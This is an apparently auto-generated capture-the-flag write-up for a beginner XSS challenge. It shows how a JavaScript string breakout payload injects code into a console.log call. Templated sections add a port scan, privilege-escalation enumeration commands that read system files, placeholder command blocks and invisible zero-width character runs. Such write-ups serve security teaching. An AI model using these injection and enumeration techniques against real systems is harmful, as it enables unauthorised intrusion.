Easy 1

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: js_string_breakout_xss, script_context_xss

Summary

SiBears XSS School challenge. User input is placed inside a JavaScript string in the console.log() function. Goal: execute prompt("sibears").

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_sibearsxss1
• Tags: xss, sibears, javascript_injection, string_escape, console_log
• Indicators: user input inside JavaScript string, console.log with user input, double quotes in JS context
• Source: 20260309_web_kids20_sibearsxss1.md

Foothold

Vulnerability / Misconfiguration

1. js_string_breakout_xss
2. script_context_xss

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• js_string_breakout_xss
• script_context_xss
• Tags: xss, sibears, javascript_injection, string_escape, console_log

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SiBears XSS School challenge. User input is placed inside a JavaScript string in the console.log() function. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/1

Analysis

The escape function places user input into a JavaScript string inside a script tag:

 js read-only • copy allowed Copy
function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

Vulnerability: no escaping of JavaScript special characters (", ), ;). This allows:

1. Closing the string with "
2. Closing the function call with )
3. Adding custom JavaScript code
4. Commenting out the rest of the line with // ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Payload to break out of the JS string and inject XSS:

");prompt("sibears")//

Resulting HTML:

 html read-only • copy allowed Copy
<script>console.log("");prompt("sibears")//");</script>

Breakdown:

• " — closes the string in console.log
• ) — closes the console.log call
• ; — terminates the statement
• prompt("sibears") — our XSS payload
• // — comments out the rest of the line (");) to avoid a syntax error ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

signed by XESXOR